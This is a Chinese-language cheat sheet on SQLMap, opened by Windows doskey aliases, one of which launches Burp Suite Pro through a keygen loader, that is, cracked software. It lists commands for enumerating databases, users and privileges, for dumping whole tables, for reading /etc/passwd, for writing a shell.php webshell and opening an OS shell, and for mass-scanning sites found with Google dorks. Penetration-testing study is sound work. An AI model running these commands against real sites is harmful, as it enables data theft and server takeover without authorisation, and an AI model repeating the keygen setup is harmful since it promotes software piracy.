Abstract: SQLMap 的简单应用
Table of Contents
- Window 中的 cmd 中设置别名
- 设置 cmd 中常用命令的别名
- SQLMap 的应用
- 操作系统命令
Window 中的 cmd 中设置别名
设置 cmd 中常用命令的别名
- 新建 .bat 文件, cmd 输入 regedit
在 \HKEY_CURRENT_USER\Software\Microsoft\ 中新建项,命名为 Command Processor,再在其中新建字符串值,命名为 AutoRun,数据写为 .bat 的路径。
按照如下格式编辑 .bat 文件
1 2 3 4 5
| @echo off doskey sqlmap=D:\Software\Python27\python.exe D:\tools\PyScript\sqlmap\sqlmap.py $* doskey clear=cls doskey burp=java -Xbootclasspath/p:D:\Software\burpsuite\burp-loader-keygen.jar -jar D:\Software\burpsuite\burpsuite_pro_v2.0beta.jar doskey behinder=javaw -jar D:\tools\software\Behinder\Behinder.jar
|
然后就可以直接在 cmd 中启动软件了。
behinder 软件还是无法启动,目前没有找到解决方法。
参考文章
cmd中设置别名
SQLMap 的应用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| --current-user #操作系统用户 --current-db #当前库名 --dbs #所有库名 --users #数据库管理员 --privileges -U #查管理员权限 --roles #查数据库角色 -D dvwa --tables #查库dvwa中所有的表 -D dvwa -T users --columns #查表users中所有的列 --schema --batch --exclude-sysdbs #查information_schema中表结构 --batch #表示过程中都选择默认选项 --exclude-sysdbs #表示忽略系统表,只查有价值表 --count #对表计数
Dump 脱裤,慎用! --dump, -C, -T, -D, --start, --stop #(部分脱裤) --dump-all --exclude-sysdbs #(直接脱裤) --sql-query "select * from users" #(自己命令脱离库) # 当数据库管理员比较安全,没法顺利脱裤,只能利用字典拆解表名列名 --common-tables --common-columns
|
Note: Mysql < 5.0,没有 information_schema 库,Mysql >= 5.0,但无权读取 information_schema 库,微软的 access 数据库,默认无权读取 MSysObjects库。
操作系统命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| --file-read = "/etc/passwd" --file-write="shell.php" --file-dest "/tmp/shell.php"
--sql-shell # Mysql --os-shell --os-cmd
sqlmap -m list.txt # 批量扫描 # 调用google api 来扫描,国内需要设置代理链: sqlmap.py -g "inurl:".php?id=1"" --proxy="http://127.0.0.1:8087"
# 利用proxy截断http请求并保存为 request.txt (推荐) sqlmap -r request.txt # 利用burpsite中的option设置,勾选保存proxy的request请求日志,保存为log.txt sqlmap -l log.txt
|
1 2 3 4 5 6 7 8 9 10 11 12
| --data # 数据段 # web应用需要基于cookie身份认证 # 检查cookie中注入点 sqlmap -u "http://127.0.0.1/index.php" --data="user=1&pass=2";
--cookie # cookie字段 sqlmap -u "http://127.0.0.1/index.php" --cookie="user=1&pass=2";
--user-agent # 手动指定 --host # Host头 --referer # Referer头 --method # 扫描时指定方法 POST/GET
|